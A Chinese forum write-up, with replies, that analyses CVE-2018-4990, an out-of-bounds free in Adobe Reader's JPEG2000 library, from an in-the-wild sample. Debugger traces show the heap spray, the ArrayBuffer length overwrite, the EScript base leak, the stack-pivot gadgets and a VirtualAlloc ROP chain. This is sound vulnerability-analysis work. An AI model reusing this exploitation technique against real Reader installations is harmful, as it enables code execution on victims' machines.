首页
论坛
课程
招聘
[原创]CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析
2018-5-23 22:20 7983

[原创]CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析

2018-5-23 22:20
7983

 

目录

样本MD5

bd23ad33accef14684d42c32769092a0

漏洞简介

CVE-2018-4990是Adobe在2018年5月修复的一个Adobe DC系列PDF阅读器的0day,原样本配合另一个windows本地提权漏洞CVE-2018-8120一起使用,后者用来进行沙箱逃逸,关于CVE-2018-8120漏洞的分析可以参考小刀师傅写的《通过对比 5 月补丁分析 win32k 空指针解引用漏洞》一文。

 

官方公告说这是一个Double Free漏洞,但调试发现这是一个任意地址释放漏洞,原样本中,在32位环境下,攻击者可以通过这个漏洞实现对任意两个4字节地址的释放。原样本漏洞触发前用精准的堆喷射巧妙地布局内存,然后触发漏洞,释放可控的的两块大小为0xfff8的相邻堆块。随后,Windows堆分配算法自动将两块空闲的堆块合并成一个大堆块,接着立即重新使用这个大堆块,并利用这个该堆块的读写能力改写一个ArrayBuffer对象的长度为0x66666666,从而实现任意地址读写。

影响版本

根据公告,这个漏洞并不影响Adobe Reader 11.x及之前的版本,根据ESET的给出的列表,影响的版本如下:

  • Acrobat DC (2018.011.20038 and earlier versions)
  • Acrobat Reader DC (2018.011.20038 and earlier versions )
  • Acrobat 2017 (011.30079 and earlier versions)
  • Acrobat Reader DC 2017 (2017.011.30079 and earlier versions)
  • Acrobat DC (Classic 2015) (2015.006.30417 and earlier versions)
  • Acrobat Reader DC (Classic 2015) (2015.006.30417 and earlier versions)

分析环境

本次调试使用的是Adobe Acrobat Reader DC 18.11.20035,JP2Klib.lib版本为1.2.2.39492。操作系统为Windows 7 sp1 x86,调试器为Windbg。

全页堆下的crash分析

拿到样本,我们要做的第一件事就是定位漏洞触发点,先开启全页堆,打开样本后发现crash,现场如下:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=d0d0d0b0 ebx=00000000 ecx=d0d0d000 edx=d0d0d0b0 esi=01930000 edi=01930000
eip=72676e88 esp=001ba2e0 ebp=001ba32c iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8:
72676e88 813abbbbcdab    cmp     dword ptr [edx],0ABCDBBBBh ds:0023:d0d0d0b0=????????

0:000> kv 20
ChildEBP RetAddr  Args to Child
001ba32c 72676f95 01931000 d0d0d0d0 01930000 verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8 (FPO: [SEH])
001ba350 72677240 01931000 d0d0d0d0 001ba3c0 verifier!AVrfpDphFindBusyMemory+0x15 (FPO: [2,5,0])
001ba36c 72679080 01931000 d0d0d0d0 0090d911 verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20 (FPO: [2,3,0])
001ba388 779169cc 01930000 01000002 d0d0d0d0 verifier!AVrfDebugPageHeapFree+0x90 (FPO: [3,3,0])
001ba3d0 778d9e07 01930000 01000002 d0d0d0d0 ntdll!RtlDebugFreeHeap+0x2f (FPO: [SEH])
001ba4c4 778a63a6 00000000 d0d0d0d0 51b6cf98 ntdll!RtlpFreeHeap+0x5d (FPO: [SEH])
001ba4e4 7708c614 01930000 00000000 d0d0d0d0 ntdll!RtlFreeHeap+0x142 (FPO: [3,1,4])
001ba4f8 6f0cecfa 01930000 00000000 d0d0d0d0 kernel32!HeapFree+0x14 (FPO: [3,0,0])
001ba50c 67eb0574 d0d0d0d0 0ee62d74 52148fac MSVCR120!free+0x1a (FPO: [Non-Fpo]) (CONV: cdecl) [f:\dd\vctools\crt\crtw32\heap\free.c @ 51]
WARNING: Stack unwind information not available. Following frames may be wrong.
001ba62c 67ec6482 5383cfb8 51b6afd8 000000fd JP2KLib!JP2KCopyRect+0xbae6
001ba684 64e56cfc 5387ae88 53874fd0 51b6afd8 JP2KLib!JP2KImageInitDecoderEx+0x24
001ba70c 64e58696 53834fa8 52148fac 53834fa8 AcroRd32_64860000!AX_PDXlateToHostEx+0x261843
001ba76c 64e4d785 52148fac 001ba78c 64e56640 AcroRd32_64860000!AX_PDXlateToHostEx+0x2631dd
001ba778 64e56640 52148fac 53056f70 53050fc8 AcroRd32_64860000!AX_PDXlateToHostEx+0x2582cc
001ba78c 64a4030d 52148fac 53050fd0 53050fc8 AcroRd32_64860000!AX_PDXlateToHostEx+0x261187
001ba7c8 64a3f92b c0010000 00000016 53050fc8 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x7867d
001ba898 64a3ebc6 001bac40 00000000 1065768e AcroRd32_64860000!PDMediaQueriesGetCosObj+0x77c9b
001babe8 64a3eb88 001bac40 4ee49a50 1065717a AcroRd32_64860000!PDMediaQueriesGetCosObj+0x76f36
001bac1c 64a3ea71 53050e28 4ee49a50 001bacd4 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x76ef8
001bac88 64a3d949 c0010000 00000016 4ee49a50 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x76de1
001bb0f4 64a3ade9 001bb3e0 51ae2598 c0010000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x75cb9
001bc8cc 64a3aa51 51ae2598 c0010000 00000016 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x73159
001bc9a4 64a24ab0 10651702 00000000 4ee49a50 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x72dc1
001bca64 64a844b4 00000000 00000000 00000000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5ce20
001bcac0 64a3d2d3 00000000 00000000 00000000 AcroRd32_64860000!CTJPEGDecoderReadNextTile+0x2dea4
001be28c 64a3aa51 51ae250c c0010000 00000015 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x75643
001be364 64a24ab0 10653942 5213ef78 00000000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x72dc1
001be424 64a22e70 00000001 00000000 00000000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5ce20
001be46c 64a13d93 5213ef78 00000001 00000000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5b1e0
001be5cc 64a134fa 5360adbc 00000001 0000002d AcroRd32_64860000!PDMediaQueriesGetCosObj+0x4c103
001be634 64ac4a44 10653bd2 00000000 001be6d4 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x4b86a
001be6b4 64ac4751 4e180ef8 c0010000 0000002d AcroRd32_64860000!CTJPEGDecoderReadNextTile+0x6e434

看过《Windows高级调试》第6章页堆部分的同学应该已经明白了,free地址为0xd0d0d0d0的原因是释放了全页堆的后置填充区域。

 

到这里,有经验的同学应该已经可以猜到是因为堆内存的越界访问导致释放了堆的后置填充数据,从上面的栈回溯我们可以看到这是JP2Klib动态库的一处调用导致的,如下:

001ba62c 67ec6482 5383cfb8 51b6afd8 000000fd JP2KLib!JP2KCopyRect+0xbae6

我们在IDA里面看一下相应偏移处的代码逻辑:

count1 = 0;
count2 = 0;
if ( *(v116 + 4) > 0 )
{
    do
    {
        if ( *(*(*(pObj + 0x48) + 0xC) + 4 * count1) )
        {
          sub_66FEA(*(*(*(pObj + 0x48) + 0xC) + 4 * count1)); // 从这里进入后面的free()
          count1 = count2;
          *(*(*(pObj + 0x48) + 0xC) + 4 * count2) = 0;
        }
        count2 = ++count1;
    }while ( count1 < *(*(pObj + 0x48) + 4) );
}

将上述代码整理一下后可以更清楚地看到逻辑:

count = 0;

if ( *(v116 + 4) > 0 )
{
    do
    {
        if ( *(mem_base + 4 * count) )
        {
            free(*(mem_base + 4 * count));
            *(mem_base + 4 * count) = 0;
        }
        count++;
    }while ( count < max_count );
}

漏洞的根本原因

我们来监控一下max_count和while循环里的count变化过程

bp JP2KLib+50588 "dd eax+4 l1; g;"  // 获取max_count值
bp JP2KLib+50567 "r eax; r ecx; g;" // 获取mem基地址和每次循环的count值
bp JP2KLib+5056e "r eax; g;"        // 获取每次free()的地址

 

利用PdfStreamDumper.exe对pdf的修改能力,我们对内嵌的javascript代码稍作修改,放开原代码的一处注释,目的是在漏洞触发前弹个对话框,便于我们下断点:

 

0:000> bp JP2KLib+50588 "dd eax+4 l1; g;"
0:000> bp JP2KLib+50567 "r eax; r ecx; g;"
0:000> bp JP2KLib+5056e "r eax; g;"

0:000> g
eax=073fa1a0
ecx=00000000
17bf44d4  000000ff

eax=073fa1a0
ecx=00000001
17bf44d4  000000ff

...略去无关输出...

eax=073fa1a0
ecx=000000fd
eax=0d0e0048
17bf44d4  000000ff

eax=073fa1a0
ecx=000000fe
eax=0d0f0048
17bf44d4  000000ff

可以看到mem_base为 073fa1a0, max_count = 0xff,当count变化到0xfd和0xfe时两个在原js中出现的堆地址 0x0d0e0048 和 0x0d0f0048 被释放。

 

此时我们对mem_base的分配大小很感兴趣,重启windbg,观察一下mem_base的大小,可以看到mem_base的大小为0x3f4

0:000> !heap -p -a 0aaf5060
    address 0aaf5060 found in
    _HEAP @ 880000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0aaf5048 0089 0000  [00]   0aaf5060    003f4 - (busy)
        Trace: 1dd977d4
        7707dd6c ntdll!RtlAllocateHeap+0x00000274
        694ded63 MSVCR120!malloc+0x00000049
        674b6f34 JP2KLib!JP2KTileGeometryRegionIsTile+0x00000102
        674912cb JP2KLib!JP2KCodeStm::write+0x00017dcb
        67490978 JP2KLib!JP2KCodeStm::write+0x00017478
        6749f746 JP2KLib!JP2KCopyRect+0x0000acb8
        674b6482 JP2KLib!JP2KImageInitDecoderEx+0x00000024

到这里漏洞的成因已经很清楚了,漏洞根源在于 max_count = 0xff,而ff*4 = 3fc,所以while循环可以访问到mem_base ~ mem_base+3fc 区间的内存。但是我们看到mem_base对应处的内存大小只有0x3f4,两者的差值为8个字节3fc - 3f4 = 8,于是可以借助上述while循环越界访问两个4字节地址并释放,来实现任意释放两个地址。

 

于是攻击者可以通过内存布局(例如堆喷射)提供的任意两个4字节地址,并实现任意释放,如下是样本中越界释放的两个堆地址,他们通过堆喷射被精确布控到相邻的内存。

0:000> dd 0aaf5060+3f4 l2
0aaf5454  0d0e0048 0d0f0048

所以这本质上不是一个double free漏洞,而是任意地址释放漏洞(原样本在32位下可以释放两个任意地址)。

堆喷射占坑+OOB释放

攻击者在已经知道漏洞内存区域大小为0x3f4的前提下,在漏洞触发前利用精心控制大小(0x400)的堆喷射构造大量对象,然后释放其中的一半,借助堆分配算法,JP2Klib在申请漏洞对象时,会从释放的堆块里面直接复用一个。

 

 

上述复用造成了很有意思的现象,我们在windbg下来看一下

0:000> bp JP2KLib+66f31 ".if(esi=3f4){}.else{g;}"

0:000> g
eax=17df5178 ebx=000000fd ecx=000003f4 edx=00000000 esi=000003f4 edi=17d2ad38
eip=69496f31 esp=0029a22c ebp=0029a258 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
JP2KLib!JP2KTileGeometryRegionIsTile+0xff:
69496f31 ff5010          call    dword ptr [eax+10h]  ds:0023:17df5188=63a60721

0:000> p
eax=075a9198 ebx=000000fd ecx=77052fe7 edx=002f6c88 esi=000003f4 edi=17d2ad38
eip=69496f34 esp=0029a22c ebp=0029a258 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
JP2KLib!JP2KTileGeometryRegionIsTile+0x102:
69496f34 8bf8            mov     edi,eax
0:000> !heap -p -a 75a9198
    address 075a9198 found in
    _HEAP @ 2f0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        075a9190 0081 0000  [00]   075a9198    003f4 - (busy)

// 0x400大小的堆块busy和free交替出现
0:000> !heap -flt s 400
    _HEAP @ 2f0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        002fe5d8 0081 0000  [00]   002fe5e0    00400 - (busy)
        ...
        075a8170 0081 0081  [00]   075a8178    00400 - (free)
        075a8578 0081 0081  [00]   075a8580    00400 - (busy)
        075a8980 0081 0081  [00]   075a8988    00400 - (free)
        075a8d88 0081 0081  [00]   075a8d90    00400 - (busy)
        // 075a9198 本来是此处的一块 0x400大小的空闲内存
        075a9598 0081 0081  [00]   075a95a0    00400 - (busy)
        075a99a0 0081 0081  [00]   075a99a8    00400 - (busy)
        075a9da8 0081 0081  [00]   075a9db0    00400 - (busy)
        075aa5b8 0081 0081  [00]   075aa5c0    00400 - (busy)
        075aadc8 0081 0081  [00]   075aadd0    00400 - (busy)
        075ab5d8 0081 0081  [00]   075ab5e0    00400 - (busy)
        075ab9e0 0081 0081  [00]   075ab9e8    00400 - (free)
        075abde8 0081 0081  [00]   075abdf0    00400 - (busy)

// 越界访问后待释放的两个地址
0:000> dd 75a9198+3f4 l2
075a958c  0d0e0048 0d0f0048

// 此时待释放的堆块都在使用中
075a958c  0d0e0048 0d0f0048
0:000> !heap -p -a 0d0e0048
    address 0d0e0048 found in
    _HEAP @ 2f0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0e0040 2000 0000  [00]   0d0e0048    0fff8 - (busy)


0:000> !heap -p -a 0d0f0048
    address 0d0f0048 found in
    _HEAP @ 2f0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0f0040 2000 0000  [00]   0d0f0048    0fff8 - (busy)

// 对越界释放处下断点
0:000> bp JP2KLib+5056e

0:000> g
...
eax=0d0e0048 ebx=00000000 ecx=000000fd edx=00000001 esi=17d2ad38 edi=17e43e60
eip=6948056e esp=0029a348 ebp=0029a45c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
JP2KLib!JP2KCopyRect+0xbae0:
6948056e 50              push    eax
0:000> p
eax=0d0e0048 ebx=00000000 ecx=000000fd edx=00000001 esi=17d2ad38 edi=17e43e60
eip=6948056f esp=0029a344 ebp=0029a45c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
JP2KLib!JP2KCopyRect+0xbae1:
6948056f e8766a0100      call    JP2KLib!JP2KTileGeometryRegionIsTile+0x1b8 (69496fea)
0:000> p
eax=00000001 ebx=00000000 ecx=77056570 edx=002f0000 esi=17d2ad38 edi=17e43e60
eip=69480574 esp=0029a344 ebp=0029a45c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
JP2KLib!JP2KCopyRect+0xbae6:
69480574 8b4648          mov     eax,dword ptr [esi+48h] ds:0023:17d2ad80=17df4ca0

// 第一次越界free后,0d0e0048堆块被释放
0:000> !heap -p -a 0d0e0048
    address 0d0e0048 found in
    _HEAP @ 2f0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0e0040 2000 0000  [00]   0d0e0048    0fff8 - (free)

0:000> !heap -p -a 0d0f0048
    address 0d0f0048 found in
    _HEAP @ 2f0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0f0040 2000 0000  [00]   0d0f0048    0fff8 - (busy)

0:000> g
eax=0d0f0048
eax=0d0f0048 ebx=00000000 ecx=000000fe edx=002f0000 esi=17d2ad38 edi=17e43e60
eip=6948056e esp=0029a348 ebp=0029a45c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
JP2KLib!JP2KCopyRect+0xbae0:
6948056e 50              push    eax
0:000> p
eax=0d0f0048 ebx=00000000 ecx=000000fe edx=002f0000 esi=17d2ad38 edi=17e43e60
eip=6948056f esp=0029a344 ebp=0029a45c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
JP2KLib!JP2KCopyRect+0xbae1:
6948056f e8766a0100      call    JP2KLib!JP2KTileGeometryRegionIsTile+0x1b8 (69496fea)
0:000> p
eax=00000001 ebx=00000000 ecx=77056570 edx=002f0000 esi=17d2ad38 edi=17e43e60
eip=69480574 esp=0029a344 ebp=0029a45c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
JP2KLib!JP2KCopyRect+0xbae6:
69480574 8b4648          mov     eax,dword ptr [esi+48h] ds:0023:17d2ad80=17df4ca0

// 第二次越界free后,0d0f0048堆块被释放,释放过程中合并成一个大堆块
0:000> !heap -p -a 0d0f0048
    address 0d0f0048 found in
    _HEAP @ 2f0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0e0040 4000 0000  [00]   0d0e0048    1fff8 - (free)

随后攻击者通过以下代码立即将上述合并的堆块重新使用。

 

 

由于漏洞触发前的如下堆喷射语句,0d0e0048和0d0f0048在释放前分别代表一个长度为0x10000 - 24的ArrayBuffer对象。在UAF之后,0d0e0048+0d0e0048的内存变成了一个长度为0x20000-24的ArrayBuffer对象。

 

 

接着攻击者利用长度为0x20000-24的ArrayBuffer的读写能力去改写释放前0d0f0048对应ArrayBuffer对象的长度,将其改写为0x66666666。然后利用之前构造的sprayarr数组找到长度为0x66666666的“ArrayBuffer”对象(这时候已经是伪造的了),紧接着将其赋值给一个DataView对象借助DataView来实现任意地址读写。

 

 

重启调试器,来看一下上述过程:

// 观察一下前一个堆块的大小
0:004> !heap -p -a 0d0d0048
    address 0d0d0048 found in
    _HEAP @ 1110000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0d0040 2000 0000  [00]   0d0d0048    0fff8 - (busy)

// 观察合并堆块的大小
0:004> !heap -p -a 0d0f0048
    address 0d0f0048 found in
    _HEAP @ 1110000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0e0040 4000 0000  [00]   0d0e0048    1fff8 - (busy)

// 可以看到ArrayBuffer的+0x4偏移处代表其长度
0:004> dd 0d0e0048
0d0e0048  00000000 0001ffe8 00000000 00000000
0d0e0058  00000000 00000000 00000000 00000000
0d0e0068  00000000 00000000 00000000 00000000
0d0e0078  00000000 00000000 00000000 00000000
0d0e0088  00000000 00000000 00000000 00000000
0d0e0098  00000000 00000000 00000000 00000000
0d0e00a8  00000000 00000000 00000000 00000000
0d0e00b8  00000000 00000000 00000000 00000000

// 长度域被修改之后 0d0f0048 代表的“ArrayBuffer对象”的长度域被修改为了0x66666666
0:004> dd 0d0f0048
0d0f0048  00000000 66666666 00000000 00000000
0d0f0058  00000000 00000000 00000000 00000000
0d0f0068  00000000 00000000 00000000 00000000
0d0f0078  00000000 00000000 00000000 00000000
0d0f0088  00000000 00000000 00000000 00000000
0d0f0098  00000000 00000000 00000000 00000000
0d0f00a8  00000000 00000000 00000000 00000000
0d0f00b8  00000000 00000000 00000000 00000000

随后攻击者用其初始化一个DataView对象,并借助DataView对象实现了任意地址读写函数:

 

随后利用任意读写能力泄漏Escript.api基址,构造ROP:

// myarraybase = ‭0x0d130058‬

// var obj1 = myread(myarraybase - 8);
// obj1 = 06bea450

// var obj2 = myread(obj1 + 4);
0:012> dd 06b25c40 l2
06b25c40  67754a90 06b313a0

// var obj3 = myread(obj2);
0:012> dd 67754a90 l3
67754a90  676ab824 9c000521 6751966b

// var dll_base = (myread(obj3 + 8) - 0x00010000) & 0xffff0000;
0:012> ? (6751966b-10000) & ffff0000
Evaluate expression: 1733296128 = 67500000

0:012> lmvm escript
start    end        module name
67500000 677a1000   EScript    (deferred)
    Image path: C:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
    Image name: EScript.api
    Timestamp:        Sat Feb 03 02:11:27 2018 (5A74A9CF)
    CheckSum:         00000000
    ImageSize:        002A1000
    File version:     18.11.20035.2003
    Product version:  18.11.20035.2003
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Adobe Systems Incorporated
    ProductName:      Adobe Acrobat Escript
    InternalName:     Escript
    OriginalFilename: Escript.api
    ProductVersion:   18.11.20035.264147
    FileVersion:      18.11.20035.264147
    FileDescription:  Adobe Acrobat Escript Plug-in
    LegalCopyright:   Copyright 1984-2017 Adobe Systems Incorporated and its licensors. All rights reserved.
    LegalTrademarks:  Adobe, Acrobat and the Acrobat logo are trademarks of Adobe Systems Incorporated which may be registered in certain jurisdictions.

随后构造ROP,填充PE数据:

 

构造完ROP后对escript的off_259BA4全局变量指向的指定偏移的数据进行修改:

/*
    // 0xC7D06
    mywrite(objescript, 0x6b707d06 - 0x6b640000 + dll_base);
*/
0:012> u escript+4389f
*** WARNING: Unable to verify checksum for C:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api -
EScript!mozilla::HashBytes+0x33229:
6754389f 94              xchg    eax,esp <-- stack pivot
675438a0 c3              ret
...

/*
    // 0x4389F
    mywrite(objescript + 0x598, 0x6b68389f - 0x6b640000 + dll_base); // 这一步我暂时没有完全理解
*/
0:012> u escript+c7d06
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x61021:
675c7d06 5c              pop     esp
675c7d07 59              pop     ecx
675c7d08 59              pop     ecx
675c7d09 5d              pop     ebp
675c7d0a c20400          ret     4

通过stack pivot切换执行流到ROP
0:000> dps esp-10
0d13005c  00000000
0d130060  00000000
0d130064  6973845b EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776
0d130068  6973845b EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776
0d13006c  6973845a EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1775
0d130070  69787084 EScript!double_conversion::DoubleToStringConverter::ToPrecision+0x1d130
0d130074  69601767 EScript!mozilla::HashBytes+0x10f1
0d130078  695f230d EScript+0x230d
0d13007c  0d130058
0d130080  6960ecaf EScript!mozilla::HashBytes+0xe639
0d130084  69613a4b EScript!mozilla::HashBytes+0x133d5
0d130088  0d130058 // lpAddress
0d13008c  00010201 // dwSize
0d130090  00001000 // flNewProtect: PAGE_EXECUTE_READWRITE
0d130094  00000040 // lpflOldProtect: PAGE_READWRITE
0d130098  90909090
0d13009c  41414141
...

0:000> u 6973845b
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776:
6973845b c3              ret

0:000> u 6973845a
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1775:
6973845a 59              pop     ecx
6973845b c3              ret

69787084  ; import addr of VirtualAlloc

0:000> u 69601767
EScript!mozilla::HashBytes+0x10f1:
69601767 8b01            mov     eax,dword ptr [ecx]
69601769 c3              ret

0:000> u 695f230d
EScript+0x230d:
695f230d 5d              pop     ebp
695f230e c3              ret

0:000> u 6960ecaf
EScript!mozilla::HashBytes+0xe639:
6960ecaf ffe0            jmp     eax

0:000> u 69613a4b
EScript!mozilla::HashBytes+0x133d5:
69613a4b ffe4            jmp     esp

沙箱逃逸

ROP执行完毕后,样本进入shellcode,shellcode执行完后,在内存中直接执行PE,PE利用了CVE-2018-8120进行本地提权,提权成功后可以看到沙箱进程的权限已经由low变成了system。

 

随后样本会弹出对话框,并向启动项写入一个one.vbs,one.vbs的作用是从本地http服务器下载一个calc.exe,从这里可以看出这个组合漏洞样本还在测试阶段。

后记

由于这个Adobe将这个漏洞归类为Double Free,所以一开始我一直在往Double Free的方面想,导致浪费了大量时间。在这个过程中我看到了一篇非常精彩的Double Free文章《Too Much Freedom is Dangerous: Understanding IE 11 CVE-2015-2419 Exploitation》,想入门Double Free漏洞分析的同学可以好好看一下这篇文章。同时,在本地复现时我发现win7下在打了2018年3月的内核补丁后Adobe在8120的提权过程中会导致虚拟机直接重启,不打该补丁则一切正常,目前还未完全清楚该问题的原因。

 

此外,实际执行时发现bkm.execute()这一步的前一步就可以导向ROP,我暂时没有调试清楚最后两步的含义,只知道是在切换执行流,也希望理解的同学可以告诉我一下。

// 0x4389F, 实际执行这一步后就会触发ROP
mywrite(objescript + 0x598, 0x6b68389f - 0x6b640000 + dll_base);

// 所以这一步的作用是?
bkm.execute();

这个漏洞我从上周开始一直在花时间调试,直到昨天下午国外 @steventseeley 发了一篇对这个漏洞的分析,当时感觉他并没有分析清楚漏洞原因,昨晚看了 @klotxl404 和 @binjo 两位大神在twitter上的互动后恍然大悟。今天下午看到 @steventseeley 的文章也更新了,他那篇还画了图,表述得非常清晰,可以先看他那篇。

 

这个漏洞中max_count值是否可控,以及其是否可以通过恶意的JPEG2000图像数据进行操纵,目前还暂不清楚,等待后面补充,或者等待有能力的同学进行补充。

 

第一次调试Adobe Reader漏洞,不足之处请多见谅。

参考链接


[公告] 欢迎大家踊跃尝试高研班11月试题,挑战自己的极限!

最后于 2019-3-26 13:06 被银雁冰编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (19)
雪    币: 20
活跃值: 活跃值 (426)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
猪会被杀掉 活跃值 1 2018-5-23 23:23
2
0
学习一下,比我分析得详细,对于学习double  free还是挺有用的。pdf漏洞其实不值钱,就是靠javascript。用peepdf之类的工具,再配合写一些代码,只要pdf来源足够,写个半自动检测工具应该就能抓取部分0day,无非就是堆喷射、大量0x之类的技术,再次膜拜。
最后于 2018-5-24 10:17 被猪会被杀掉编辑 ,原因:
雪    币: 178
活跃值: 活跃值 (44)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
luobobo 活跃值 2018-5-24 00:33
3
0
感谢冰神分享
雪    币: 1112
活跃值: 活跃值 (101)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
ycmint 活跃值 5 2018-5-24 09:45
4
0
猪会被杀掉 学习一下,比我分析得详细,对于学习double free还是挺有用的。pdf漏洞其实不值钱,就是靠javascript。用peepdf之类的工具,再配合写一些代码,只要pdf样本足够,写个半自动检测工 ...
你装逼有点轻松,你给我个“只要样本足够”  试试
雪    币: 20
活跃值: 活跃值 (426)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
猪会被杀掉 活跃值 1 2018-5-24 10:14
5
0
ycmint 你装逼有点轻松,你给我个“只要样本足够” 试试
样本是指的PDF的来源,这个意思,不是0day样本,懂?分析过好几个pdf的漏洞,都是靠javascript喷射之类的,大量的十六进制,最多来个混淆,这种是能够被特征检测的。因为正常的pdf和恶意pdf不一样。
最后于 2018-5-24 10:17 被猪会被杀掉编辑 ,原因:
雪    币: 20
活跃值: 活跃值 (426)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
猪会被杀掉 活跃值 1 2018-5-24 10:18
6
0
ycmint 你装逼有点轻松,你给我个“只要样本足够” 试试
话说回来,的确是我没表达清楚,不过钻这种空子有意思吗?
雪    币: 1112
活跃值: 活跃值 (101)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
ycmint 活跃值 5 2018-5-24 10:35
7
0
猪会被杀掉 话说回来,的确是我没表达清楚,不过钻这种空子有意思吗?
什么叫钻空子,做什么都不容易,如果你继续深入的做,比嘴上逼逼难多了,品相好的洞,都知道套路,但哪儿有那么多品相好的洞,拼相不好的洞就不去利用了么,不是你分析几个洞就能体会这么深的,做过和说过是两码事
雪    币: 1112
活跃值: 活跃值 (101)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
ycmint 活跃值 5 2018-5-24 10:38
8
0
猪会被杀掉 话说回来,的确是我没表达清楚,不过钻这种空子有意思吗?
不需要你教我这些  ,谢谢,分析几个洞,是不够覆盖漏洞挖掘和利用的,保持敬畏,谢谢
雪    币: 8589
活跃值: 活跃值 (2579)
能力值: ( LV15,RANK:760 )
在线值:
发帖
回帖
粉丝
银雁冰 活跃值 15 2018-5-24 10:40
9
0
这个洞并不是Double  Free
雪    币: 20
活跃值: 活跃值 (426)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
猪会被杀掉 活跃值 1 2018-5-24 10:46
10
0
ycmint 不需要你教我这些 ,谢谢,分析几个洞,是不够覆盖漏洞挖掘和利用的,保持敬畏,谢谢
我也没想过挖掘啊。你自己想多了。
雪    币: 20
活跃值: 活跃值 (426)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
猪会被杀掉 活跃值 1 2018-5-24 10:50
11
0
银雁冰 这个洞并不是Double Free
对不起,本来一个好好的帖子,我也只是说自己的想法,这些人有事没事喷,别见怪。我不是挖漏洞和写0day的。
雪    币: 285
活跃值: 活跃值 (183)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
Keoyo 活跃值 2 2018-5-24 14:09
12
0
感谢分享,学习了!
雪    币: 23165
活跃值: 活跃值 (2272)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
wsc 活跃值 2018-5-25 14:13
13
0
感谢分享
雪    币: 327
活跃值: 活跃值 (19)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
ninebianbian 活跃值 2018-5-25 14:20
14
0
感谢分享
雪    币: 23165
活跃值: 活跃值 (2272)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
wsc 活跃值 2018-5-25 14:42
15
0
感谢分享
雪    币: 8589
活跃值: 活跃值 (2579)
能力值: ( LV15,RANK:760 )
在线值:
发帖
回帖
粉丝
银雁冰 活跃值 15 2018-5-25 18:43
16
0
天眼实验室今天写了一篇超赞的分析,膜拜:《CVE-2018-4990 Adobe Reader 代码执行漏洞利用分析》
最后于 2018-5-25 18:44 被银雁冰编辑 ,原因:
雪    币: 6817
活跃值: 活跃值 (153)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
